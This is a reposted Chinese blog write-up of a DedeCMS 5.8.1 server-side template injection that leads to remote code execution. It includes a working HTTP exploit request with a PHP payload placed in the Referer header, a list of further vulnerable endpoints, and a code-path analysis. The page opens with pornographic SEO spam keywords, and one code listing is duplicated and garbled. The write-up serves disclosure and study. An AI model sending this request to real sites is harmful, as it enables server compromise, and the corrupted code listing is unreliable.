日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【安全漏洞】DedeCMS-5.8.1 SSTI模板注入导致RCE

發布時間:2025/3/21 编程问答 23 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【安全漏洞】DedeCMS-5.8.1 SSTI模板注入导致RCE 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

漏洞類型

SSTI RCE

利用條件

影響范圍應用

漏洞概述

2021年9月30日,國外安全研究人員Steven Seeley披露了最新的DedeCMS版本中存在的一處SQL注入漏洞以及一處SSTI導致的RCE漏洞,由于SQL注入漏洞利用條件極為苛刻,故這里只對該SSTI注入漏洞進行簡要分析復現

漏環境搭建

【技術學習資料】

漏洞復現

這里使用phpstudy來搭建環境




網站前臺:http://192.168.59.1/index.php?upcache=1

網站后臺: http://192.168.59.1/dede/login.php?gotopa…

漏洞利用

GET /plus/flink.php?dopost=save HTTP/1.1 Host: 192.168.59.1 Referer: <?php "system"(whoami);die;/* Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=rh4vs9n0m1ihpuguuok4oinerr; _csrf_name_26859a31=736abb4d994bae3b85bba1781e8a50f9; _csrf_name_26859a31__ckMd5=0f32d9d2b18e1390 Connection: close


類似的URL還有:

/plus/flink.php?dopost=save /plus/users_products.php?oid=1337 /plus/download.php?aid=1337 /plus/showphoto.php?aid=1337 /plus/users-do.php?fmdo=sendMail /plus/posttocar.php?id=1337 /plus/recommend.php

漏洞分析

漏洞入口位于plus/flink.php文件中,在該文件中如果我們傳入的dopost值為save且未傳遞驗證碼時,緊接著會去調用ShowMsg函數:

之后跟蹤進入到include/common.func.php文件中的ShowMsg()函數內

/*** 短消息函數,可以在某個動作處理后友好的提示信息** @param string $msg 消息提示信息* @param string $gourl 跳轉地址* @param int $onlymsg 僅顯示信息* @param int $limittime 限制時間* @return void*/ function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0) {if (empty($GLOBALS['cfg_plus_dir'])) {$GLOBALS['cfg_plus_dir'] = '..';}if ($gourl == -1) {$gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';if ($gourl == "") {$gourl = -1;}}$htmlhead = "<html>\r\n<head>\r\n<title>DedeCMS提示信息</title>\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset={dede:global.cfg_soft_lang/}\" /><meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no\"><meta name=\"renderer\" content=\"webkit\"><meta http-equiv=\"Cache-Control\" content=\"no-siteapp\" /><link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/pkg/uikit/css/uikit.min.css\" /><link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/css/manage.dede.css\"><base target='_self'/></head><body>" . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') . "<center style=\"width:450px\" class=\"uk-container\"><div class=\"uk-card uk-card-small uk-card-default\" style=\"margin-top: 50px;\"><div class=\"uk-card-header\" style=\"height:20px\">DedeCMS 提示信息!</div><script>\r\n";$htmlfoot = "</script></center><script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit.min.js\"></script><script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit-icons.min.js\"></script></body>\r\n</html>\r\n";$litime = ($limittime == 0 ? 1000 : $limittime);$func = '';if ($gourl == '-1') {if ($limittime == 0) {$litime = 3000;}$gourl = "javascript:history.go(-1);";}if ($gourl == '' || $onlymsg == 1) {$msg = "<script>alert(\"" . str_replace("\"", "“", $msg) . "\");</script>";} else {//當網址為:close::objname 時, 關閉父框架的id=objname元素if (preg_match('/close::/', $gourl)) {$tgobj = trim(preg_replace('/close::/', '', $gourl));$gourl = 'javascript:;';$func .= "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n";}$func .= "var pgo=0;function JumpUrl(){if(pgo==0){ location='$gourl'; pgo=1; }}\r\n";$rmsg = $func;$rmsg .= "document.write(\"<div style='height:130px;font-size:10pt;background:#ffffff'><br />\");\r\n";$rmsg .= "document.write(\"" . str_replace("\"", "“", $msg) . "\");\r\n";$rmsg .= "document.write(\"";if ($onlymsg == 0) {if ($gourl != 'javascript:;' && $gourl != '') {$rmsg .= "<br /><a href='{$gourl}'>如果你的瀏覽器沒反應,請點擊這里...</a>";$rmsg .= "<br/></div>\");\r\n";$rmsg .= "setTimeout('JumpUrl()',$litime);";} else {$rmsg .= "<br/></div>\");\r\n";}} else {$rmsg .= "<br/><br/></div>\");\r\n";}$msg = $htmlhead . $rmsg . $htmlfoot;}$tpl = new DedeTemplate();$tpl->LoadString($msg);$tpl->Display(); }

在這里我們可以看到如果gourl被設置為?1(間接可控),則攻擊者可以通過HTTPREFERER控制gourl處變量的值,而該變量未經過濾直接賦值給變量gourl,之后經過一系列的操作之后將gourl與html代碼拼接處理后轉而調用tpl?>LoadString進行頁面渲染操作,之后跟進LoadString可以看到此處的sourceString變量直接由str賦值過來,該變量攻擊者可控,之后將其進行一次md5計算,然后設置緩存文件和緩存配置文件名,緩存文件位于data\tplcache目錄,之后調用ParserTemplate對文件進行解析:

ParserTemplate如下:

/*** 解析模板** @access public* @return void*/public function ParseTemplate(){if ($this->makeLoop > 5) {return;}$this->count = -1;$this->cTags = array();$this->isParse = true;$sPos = 0;$ePos = 0;$tagStartWord = $this->tagStartWord;$fullTagEndWord = $this->fullTagEndWord;$sTagEndWord = $this->sTagEndWord;$tagEndWord = $this->tagEndWord;$startWordLen = strlen($tagStartWord);$sourceLen = strlen($this->sourceString);if ($sourceLen <= ($startWordLen + 3)) {return;}$cAtt = new TagAttributeParse();$cAtt->CharToLow = true;//遍歷模板字符串,請取標記及其屬性信息$t = 0;$preTag = '';$tswLen = strlen($tagStartWord);@$cAtt->cAttributes->items = array();for ($i = 0; $i < $sourceLen; $i++) {$ttagName = '';//如果不進行此判斷,將無法識別相連的兩個標記if ($i - 1 >= 0) {$ss = $i - 1;} else {$ss = 0;}$tagPos = strpos($this->sourceString, $tagStartWord, $ss);//判斷后面是否還有模板標記if ($tagPos == 0 && ($sourceLen - $i < $tswLen|| substr($this->sourceString, $i, $tswLen) != $tagStartWord)) {$tagPos = -1;break;}//獲取TAG基本信息for ($j = $tagPos + $startWordLen; $j < $tagPos + $startWordLen + $this->tagMaxLen; $j++) {if (preg_match("/[ >\/\r\n\t\}\.]/", $this->sourceString[$j])) {break;} else {$ttagName .= $this->sourceString[$j];}}if ($ttagName != '') {$i = $tagPos + $startWordLen;$endPos = -1;//判斷 '/}' '{tag:下一標記開始' '{/tag:標記結束' 誰最靠近$fullTagEndWordThis = $fullTagEndWord . $ttagName . $tagEndWord;$e1 = strpos($this->sourceString, $sTagEndWord, $i);$e2 = strpos($this->sourceString, $tagStartWord, $i);$e3 = strpos($this->sourceString, $fullTagEndWordThis, $i);$e1 = trim($e1);$e2 = trim($e2);$e3 = trim($e3);$e1 = ($e1 == '' ? '-1' : $e1);$e2 = ($e2 == '' ? '-1' : $e2);$e3 = ($e3 == '' ? '-1' : $e3);if ($e3 == -1) {//不存在'{/tag:標記'$endPos = $e1;$elen = $endPos + strlen($sTagEndWord);} else if ($e1 == -1) {//不存在 '/}'$endPos = $e3;$elen = $endPos + strlen($fullTagEndWordThis);}//同時存在 '/}' 和 '{/tag:標記'else {//如果 '/}' 比 '{tag:'、'{/tag:標記' 都要靠近,則認為結束標志是 '/}',否則結束標志為 '{/tag:標記'if ($e1 < $e2 && $e1 < $e3) {$endPos = $e1;$elen = $endPos + strlen($sTagEndWord);} else {$endPos = $e3;$elen = $endPos + strlen($fullTagEndWordThis);}}//如果找不到結束標記,則認為這個標記存在錯誤if ($endPos == -1) {echo "Tpl Character postion $tagPos, '$ttagName' Error!<br />\r\n";break;}$i = $elen;//分析所找到的標記位置等信息$attStr = '';$innerText = '';$startInner = 0;for ($j = $tagPos + $startWordLen; $j < $endPos; $j++) {if ($startInner == 0) {if ($this->sourceString[$j] == $tagEndWord) {$startInner = 1;continue;} else {$attStr .= $this->sourceString[$j];}} else {$innerText .= $this->sourceString[$j];}}$ttagName = strtolower($ttagName);//if、php標記,把整個屬性串視為屬性if (preg_match("/^if[0-9]{0,}$/", $ttagName)) {$cAtt->cAttributes = new TagAttribute();$cAtt->cAttributes->count = 2;$cAtt->cAttributes->items['tagname'] = $ttagName;$cAtt->cAttributes->items['condition'] = preg_replace("/^if[0-9]{0,}[\r\n\t ]/", "", $attStr);$innerText = preg_replace("/\{else\}/i", '<' . "?php\r\n}\r\nelse{\r\n" . '?' . '>', $innerText);} else if ($ttagName == 'php') {$cAtt->cAttributes = new TagAttribute();$cAtt->cAttributes->count = 2;$cAtt->cAttributes->items['tagname'] = $ttagName;$cAtt->cAttributes->items['code'] = '<' . "?php\r\n" . trim(preg_replace("/^php[0-9]{0,}[\r\n\t ]/","", $attStr)) . "\r\n?" . '>';} else {//普通標記,解釋屬性$cAtt->SetSource($attStr);}$this->count++;$cTag = new Tag();$cTag->tagName = $ttagName;$cTag->startPos = $tagPos;$cTag->endPos = $i;$cTag->cAtt = $cAtt->cAttributes;$cTag->isCompiler = false;$cTag->tagID = $this->count;$cTag->innerText = $innerText;$this->cTags[$this->count] = $cTag;} else {$i = $tagPos + $startWordLen;break;}} //結束遍歷模板字符串if ($this->count > -1 && $this->isCompiler) {$this->CompilerAll();}}

之后返回上一級,在這里會緊接著調用Display函數對解析結果進行展示,在這里會調用WriteCache函數
ParserTemplate如下:

/**
* 解析模板
*
* @access public
* @return void
*/
public function ParseTemplate()
{
if ($this->makeLoop > 5) {
return;
}
$this->count = -1;
$this->cTags = array();
$this->isParse = true;
$sPos = 0;
$ePos = 0;
$tagStartWord = $this->tagStartWord;
$fullTagEndWord = $this->fullTagEndWord;
$sTagEndWord = $this->sTagEndWord;
$tagEndWord = $this->tagEndWord;
startWordLen=strlen(startWordLen = strlen(startWordLen=strlen(tagStartWord);
sourceLen=strlen(sourceLen = strlen(sourceLen=strlen(this->sourceString);
if (sourceLen<=(sourceLen <= (sourceLen<=(startWordLen + 3)) {
return;
}
$cAtt = new TagAttributeParse();
$cAtt->CharToLow = true;

//遍歷模板字符串,請取標記及其屬性信息$t = 0;$preTag = '';$tswLen = strlen($tagStartWord);@$cAtt->cAttributes->items = array();for ($i = 0; $i < $sourceLen; $i++) {$ttagName = '';//如果不進行此判斷,將無法識別相連的兩個標記if ($i - 1 >= 0) {$ss = $i - 1;} else {$ss = 0;}$tagPos = strpos($this->sourceString, $tagStartWord, $ss);//判斷后面是否還有模板標記if ($tagPos == 0 && ($sourceLen - $i < $tswLen|| substr($this->sourceString, $i, $tswLen) != $tagStartWord)) {$tagPos = -1;break;}//獲取TAG基本信息for ($j = $tagPos + $startWordLen; $j < $tagPos + $startWordLen + $this->tagMaxLen; $j++) {if (preg_match("/[ >\/\r\n\t\}\.]/", $this->sourceString[$j])) {break;} else {$ttagName .= $this->sourceString[$j];}}if ($ttagName != '') {$i = $tagPos + $startWordLen;$endPos = -1;//判斷 '/}' '{tag:下一標記開始' '{/tag:標記結束' 誰最靠近$fullTagEndWordThis = $fullTagEndWord . $ttagName . $tagEndWord;$e1 = strpos($this->sourceString, $sTagEndWord, $i);$e2 = strpos($this->sourceString, $tagStartWord, $i);$e3 = strpos($this->sourceString, $fullTagEndWordThis, $i);$e1 = trim($e1);$e2 = trim($e2);$e3 = trim($e3);$e1 = ($e1 == '' ? '-1' : $e1);$e2 = ($e2 == '' ? '-1' : $e2);$e3 = ($e3 == '' ? '-1' : $e3);if ($e3 == -1) {//不存在'{/tag:標記'$endPos = $e1;$elen = $endPos + strlen($sTagEndWord);} else if ($e1 == -1) {//不存在 '/}'$endPos = $e3;$elen = $endPos + strlen($fullTagEndWordThis);}//同時存在 '/}' 和 '{/tag:標記'else {//如果 '/}' 比 '{tag:'、'{/tag:標記' 都要靠近,則認為結束標志是 '/}',否則結束標志為 '{/tag:標記'if ($e1 < $e2 && $e1 < $e3) {$endPos = $e1;$elen = $endPos + strlen($sTagEndWord);} else {$endPos = $e3;$elen = $endPos + strlen($fullTagEndWordThis);}}//如果找不到結束標記,則認為這個標記存在錯誤if ($endPos == -1) {echo "Tpl Character postion $tagPos, '$ttagName' Error!<br />\r\n";break;}$i = $elen;//分析所找到的標記位置等信息$attStr = '';$innerText = '';$startInner = 0;for ($j = $tagPos + $startWordLen; $j < $endPos; $j++) {if ($startInner == 0) {if ($this->sourceString[$j] == $tagEndWord) {$startInner = 1;continue;} else {$attStr .= $this->sourceString[$j];}} else {$innerText .= $this->sourceString[$j];}}$ttagName = strtolower($ttagName);//if、php標記,把整個屬性串視為屬性if (preg_match("/^if[0-9]{0,}$/", $ttagName)) {$cAtt->cAttributes = new TagAttribute();$cAtt->cAttributes->count = 2;$cAtt->cAttributes->items['tagname'] = $ttagName;$cAtt->cAttributes->items['condition'] = preg_replace("/^if[0-9]{0,}[\r\n\t ]/", "", $attStr);$innerText = preg_replace("/\{else\}/i", '<' . "?php\r\n}\r\nelse{\r\n" . '?' . '>', $innerText);} else if ($ttagName == 'php') {$cAtt->cAttributes = new TagAttribute();$cAtt->cAttributes->count = 2;$cAtt->cAttributes->items['tagname'] = $ttagName;$cAtt->cAttributes->items['code'] = '<' . "?php\r\n" . trim(preg_replace("/^php[0-9]{0,}[\r\n\t ]/","", $attStr)) . "\r\n?" . '>';} else {//普通標記,解釋屬性$cAtt->SetSource($attStr);}$this->count++;$cTag = new Tag();$cTag->tagName = $ttagName;$cTag->startPos = $tagPos;$cTag->endPos = $i;$cTag->cAtt = $cAtt->cAttributes;$cTag->isCompiler = false;$cTag->tagID = $this->count;$cTag->innerText = $innerText;$this->cTags[$this->count] = $cTag;} else {$i = $tagPos + $startWordLen;break;}} //結束遍歷模板字符串if ($this->count > -1 && $this->isCompiler) {$this->CompilerAll();} }

之后返回上一級,在這里會緊接著調用Display函數對解析結果進行展示,在這里會調用WriteCache函數

在WriteCache函數中寫入緩存文件:


在這里使用GetResult返回值sourceString來設置$result變量,該變量包含攻擊者控制的輸入數據:


之后調用CheckDisabledFunctions函數進行檢查操作,該函數主要用于檢查是否存在被禁止的函數,然后通過token_get_all_nl函數獲取輸入,然而處理時并沒有過濾雙引號,存在被繞過的風險,攻擊者可以通過將惡意PHP寫到臨時文件,之后在Display函數處通過include $tpl->CacheFile()將惡意臨時文件包含進來從而實現遠程代碼執行:

安全建議

目前官方已發布最新版本:DedeCMS V5.7.80 UTF-8正式版,建議升級到該版本

點擊獲取【網絡安全學習資料·攻略】

總結

以上是生活随笔為你收集整理的【安全漏洞】DedeCMS-5.8.1 SSTI模板注入导致RCE的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。